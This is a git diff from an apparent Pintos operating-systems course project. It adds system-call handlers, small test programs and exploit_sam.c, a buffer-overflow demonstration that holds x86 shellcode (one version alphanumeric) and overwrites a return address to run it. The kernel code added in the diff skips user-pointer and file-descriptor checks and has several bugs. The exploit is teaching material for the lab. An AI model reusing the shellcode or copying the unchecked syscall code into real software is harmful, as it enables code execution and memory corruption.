diff --git a/src/examples/Makefile b/src/examples/Makefile
index 41a663d610cb89d30b7aa0277a644b0f63a2c0c5..264a53544382589dcbf5031db4cc218e7bdac6ac 100644
--- a/src/examples/Makefile
+++ b/src/examples/Makefile
@@ -4,7 +4,7 @@ SRCDIR = ..
 # To add a new test, put its name on the PROGS list
 # and then add a name_SRC line that lists its source files.
 PROGS = cat cmp cp echo halt hex-dump ls mcat mcp mkdir pwd rm shell \
-	bubsort insult lineup matmult recursor my
+	bubsort insult lineup matmult recursor my create remove exec exit open close exploit_sam overflow
 
 # Should work from project 2 onward.
 cat_SRC = cat.c
@@ -19,6 +19,14 @@ ls_SRC = ls.c
 recursor_SRC = recursor.c
 rm_SRC = rm.c
 my_SRC = my.c
+create_SRC = create.c
+remove_SRC = remove.c
+open_SRC = open.c
+close_SRC = close.c
+exit_SRC = exit.c
+exec_SRC = exec.c
+exploit_sam_SRC = exploit_sam.c
+overflow_SRC = overflow.c
 
 # Should work in project 3; also in project 4 if VM is included.
 bubsort_SRC = bubsort.c
diff --git a/src/examples/close.c b/src/examples/close.c
new file mode 100644
index 0000000000000000000000000000000000000000..2f428179b2036f1163017a9affc6a27974ecef37
--- /dev/null
+++ b/src/examples/close.c
@@ -0,0 +1,13 @@
+/* close.c
+
+   closes file decriptor fd */
+
+#include <syscall.h>
+#include <stdio.h>
+
+int
+main (int argc, char *argv[])
+{
+  close (argv[1]);
+  /* not reached */
+}
diff --git a/src/examples/create.c b/src/examples/create.c
new file mode 100644
index 0000000000000000000000000000000000000000..f8f95f7008f7f8af7bf1b5120c72e6789800876a
--- /dev/null
+++ b/src/examples/create.c
@@ -0,0 +1,15 @@
+/* create.c
+
+   Simple program to test whether running a user program works.
+ 	
+   Just invokes a system call that shuts down the OS. */
+
+#include <syscall.h>
+#include <stdio.h>
+
+int
+main (int argc, char *argv[])
+{
+  create (argv[1], 200);
+  /* not reached */
+}
diff --git a/src/examples/exec.c b/src/examples/exec.c
new file mode 100644
index 0000000000000000000000000000000000000000..344ee70e1cdc8efd25f44c1fa5c1e1947ec06ad2
--- /dev/null
+++ b/src/examples/exec.c
@@ -0,0 +1,13 @@
+/* exec.c
+
+   Runs give executable name */
+
+#include <syscall.h>
+#include <stdio.h>
+
+int
+main (int argc, char *argv[])
+{
+  exec (argv[2]);
+  /* not reached */
+}
diff --git a/src/examples/exploit_sam.c b/src/examples/exploit_sam.c
new file mode 100644
index 0000000000000000000000000000000000000000..6c05150310712dba6f13923f46ad2b17be6c9d29
--- /dev/null
+++ b/src/examples/exploit_sam.c
@@ -0,0 +1,83 @@
+/* klaar@ida
+
+   pintos -v --fs-disk=2 -p ../examples/crack -a crack -p ../examples/shellcode -a shellcode -- -f -q run 'shellcode'
+
+   -*- Woahhh, have fun -*-
+   http://www.phrack.org/issues.html?issue=49&id=14#article
+   http://www.phrack.org/issues.html?issue=57&id=15#article
+
+   Somewhat simpler to achieve in Pintos actually.
+ */
+
+#include <syscall.h>
+
+#if 0
+/* This it the below assembly code in binary form. It runs. To get it,
+ * just compile the code below and use the debugger to dump the code
+ * in the main function. */
+
+ /* Taken from https://packetstormsecurity.com/files/133481/Linux-x86-Create-File-With-7775-Permissions-Shellcode.html
+    
+ */
+unsigned char shellcode[] =
+"\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23";
+
+#else
+/* And this is rather scary amazing...  This is also the below
+ * assembly code in binary form, but now using ONLY alphanumeric
+ * characters. It works flawless...  Using something like isalpha() on
+ * input does not prevent crackers to exploit buffer overflows.
+ */
+char shellcode[] =
+  "LLLLZh7JWUX57JWUHPSPPSRPPaWPVUUF"
+  "VDNfhKZfXf5vOfPDRPaAjeY0Lka0Tkah"
+  "9bdUY1LkbjIY0Lkg0tkhjUX0Dkk0Tkkj"
+  "8Y0Lkm0tkohEJZuX1Dkq1TkqjHY0Lku0"
+  "tkuCjqX0Dkzs2bdUjK201jPxP20REZuH"
+  "crackq";
+#endif
+
+int main( void )
+{
+#if 1
+  int *ret; /* A local variable is stored on the stack. */
+
+  ret = (int *)&ret + 2;   /* Two steps above in the stack is the
+                            * address to continue at when main
+                            * return... the normal function return
+                            * address. */
+  (*ret) = (int)shellcode; /* We overwrite it with the address to the
+                            * shell code. This will check that the
+                            * shell code works as expected. */
+  return 0;
+#else
+  /* Assembler code to do the following:
+   *
+   *  exec("crack");
+   *  exit();
+   *
+   * Apparently the code 0x01 can not be sent as input to pintos, so
+   * it can not be part of any instruction. Reason unknown. Theory:
+   * 0x01 may be grabbed as Ctrl-a by QEMU ?
+   *
+   * Translate push 0x01 ==> ... push %eax
+   *
+   * The tricky part is to figure out at which address the name of the
+   * program to start is stored. The call instruction solves it
+   * nicely. It saves the following address as return address.
+   */
+
+  __asm__("jmp    0x0f;"             /* jump to CALL */
+/* actual address of string pushed as return address by CALL */
+          "push   $0x2;"             /* push EXEC syscall number */
+          "int    $0x30;"            /* make syscall */
+          "xor    %eax,%eax;"        /* load 0 in eax */
+          "push   %eax;"             /* push exit_status */
+          "inc    %eax;"             /* inc eax to 1 */
+          "push   %eax;"             /* push EXIT syscall number */
+          "int    $0x30;"            /* make syscall */
+/* CALL */"call   -0x0C;"            /* jumps back again */
+          ".string \"crack\";"       /* program to start */
+    );
+#endif
+}
diff --git a/src/examples/open.c b/src/examples/open.c
new file mode 100644
index 0000000000000000000000000000000000000000..5a48d388cee25af6e52c41eaf0a586dc2ead1261
--- /dev/null
+++ b/src/examples/open.c
@@ -0,0 +1,13 @@
+/* open.c
+
+   Opens given file */
+
+#include <syscall.h>
+#include <stdio.h>
+
+int
+main (int argc, char *argv[])
+{
+  open (argv[1]);
+  /* not reached */
+}
diff --git a/src/examples/remove.c b/src/examples/remove.c
new file mode 100644
index 0000000000000000000000000000000000000000..982762f657562031d9e7907e638ee8e8aaa95d5f
--- /dev/null
+++ b/src/examples/remove.c
@@ -0,0 +1,13 @@
+/* remove.c
+
+   Removes a given file from the disk */
+
+#include <syscall.h>
+#include <stdio.h>
+
+int
+main (int argc, char *argv[])
+{
+  remove (argv[1]);
+  /* not reached */
+}
diff --git a/src/threads/thread.h b/src/threads/thread.h
index 093bcddeb82e3c52182ff182c8c832d90f695908..8e54af72bb9383ec54065b994cde783645aaf588 100644
--- a/src/threads/thread.h
+++ b/src/threads/thread.h
@@ -92,6 +92,12 @@ struct thread
 
     /* Shared between thread.c and synch.c. */
     struct list_elem elem;              /* List element. */
+
+   char fd_table[128];                  /* List of file descriptors */
+   int next_fd;                         /* Next available file descriptor */
+   int fd;                              /* File descriptor */
+   int exit_status;                     /* exit status of thread */
+
       
 #ifdef USERPROG
     /* Owned by userprog/process.c. */
diff --git a/src/userprog/exception.c b/src/userprog/exception.c
index 19aca125e331783bad87330e8e7213f72072e580..d4d3ad7b2365099e7daea53013a7f9a96c6c4c84 100644
--- a/src/userprog/exception.c
+++ b/src/userprog/exception.c
@@ -4,6 +4,9 @@
 #include "userprog/gdt.h"
 #include "threads/interrupt.h"
 #include "threads/thread.h"
+#include "threads/vaddr.h"
+#include "threads/palloc.h"
+#include "userprog/pagedir.h"
 
 /* Number of page faults processed. */
 static long long page_fault_cnt;
diff --git a/src/userprog/syscall.c b/src/userprog/syscall.c
index 08e82c9e8b11053771fc565e7464ba1239bacf89..664bfc093c24d17ad4995a61c2dc91997c63093f 100644
--- a/src/userprog/syscall.c
+++ b/src/userprog/syscall.c
@@ -1,13 +1,22 @@
 #include "userprog/syscall.h"
 #include <stdio.h>
 #include <syscall-nr.h>
+#include <userprog/process.h>
 #include "threads/interrupt.h"
 #include "threads/thread.h"
 #include "devices/shutdown.h"
+#include "filesys/filesys.h"
+#include "filesys/file.h"
+
 
 static void syscall_handler (struct intr_frame *);
 void syscall_exit(int status);
 void syscall_halt(void);
+bool syscall_create(const char *, unsigned);
+bool syscall_remove(const char*);
+int syscall_open(const char *file);
+void syscall_close(int fd);
+tid_t syscall_exec(const char* cmd_line);
 
 void
 syscall_init (void) 
@@ -21,6 +30,7 @@ syscall_handler (struct intr_frame *f)
 {
   printf ("system call!\n");
   int sys_code = *(int*)f->esp;
+  int *ptr = f->esp;
 
   printf("System call number: %d\n", sys_code);
 
@@ -28,7 +38,7 @@ syscall_handler (struct intr_frame *f)
 
     case SYS_EXIT:
       printf("Running SYS_EXIT\n");
-      //syscall_exit();
+      syscall_exit(*(ptr+1));
       break;
 
     case SYS_HALT:
@@ -36,6 +46,32 @@ syscall_handler (struct intr_frame *f)
       syscall_halt();
       break;
 
+    case SYS_CREATE:
+      printf("Running SYS_CREATE\n");
+      f->eax = syscall_create(*(ptr+4), *(ptr+5));
+      break;
+
+    case SYS_REMOVE:
+      printf("Running SYS_REMOVE\n");
+      f->eax = syscall_remove(*(ptr+1));
+      break;
+
+    case SYS_OPEN:
+      printf("Running SYS_OPEN\n");
+      int ret_open = syscall_open((const char*)*(ptr+1));
+      f->eax = ret_open;
+      break;
+
+    case SYS_CLOSE:
+      printf("Running SYS_CLOSE\n");
+      syscall_close(*(ptr+1));
+      break;
+
+    case SYS_EXEC:
+      printf("Running SYS_EXEC\n");
+      f->eax = syscall_exec(*(ptr+1));
+      break;
+
     default:
       printf("Unknown Syscall number\n");
       break;
@@ -44,12 +80,75 @@ syscall_handler (struct intr_frame *f)
   thread_exit ();
 }
 
+/**************************************** 
+    System Call Implementations
+*****************************************/
 
-/* System Call Implementations*/
-
-void syscall_exit(int status);
+/* Exits the current process */
+void syscall_exit(int status)
+{
+  thread_exit();
+} 
 
+/* Shuts system down immediately */
 void syscall_halt()
 {
   shutdown_power_off();
 }
+
+/* Runs a given executable */
+tid_t syscall_exec(const char* cmd_line)
+{
+  tid_t tid = process_execute(cmd_line);
+  return tid;
+}
+
+/* Create file but does not open it */
+bool syscall_create(const char * file, unsigned initial_size)
+{
+  if (file == NULL)
+    return false;
+    
+  bool create_success = filesys_create(file, initial_size);
+  printf("Creating file\n");
+  printf("%s", create_success? "File Created\n":"File Not Created\n");
+  return create_success;
+}
+
+/* Removes file from disk */
+bool syscall_remove(const char* file)
+{
+  if (file == NULL)
+    return false;
+  bool remove_success = filesys_remove(file);
+  return remove_success;
+}
+
+/* Opens given file */
+int syscall_open(const char *file)
+{
+  struct file *data = filesys_open(file);
+  if (data == NULL)
+    return -1;
+  int fd = 2;
+  while (fd < 128)
+  {
+    if (thread_current()->fd_table[fd] == NULL)
+    {
+      thread_current()->fd_table[fd] = data;
+      return fd;
+      printf("Open system call\n");
+    }
+    return -1;
+  }
+}
+
+/* Closes given file */
+void syscall_close(int fd)
+{
+  struct thread *cur = thread_current();
+  struct file *f = cur->fd_table[fd];
+  printf("%s: close(%d)\n", cur->name, fd);
+  file_close(f);
+  printf("Close system call\n");
+}
\ No newline at end of file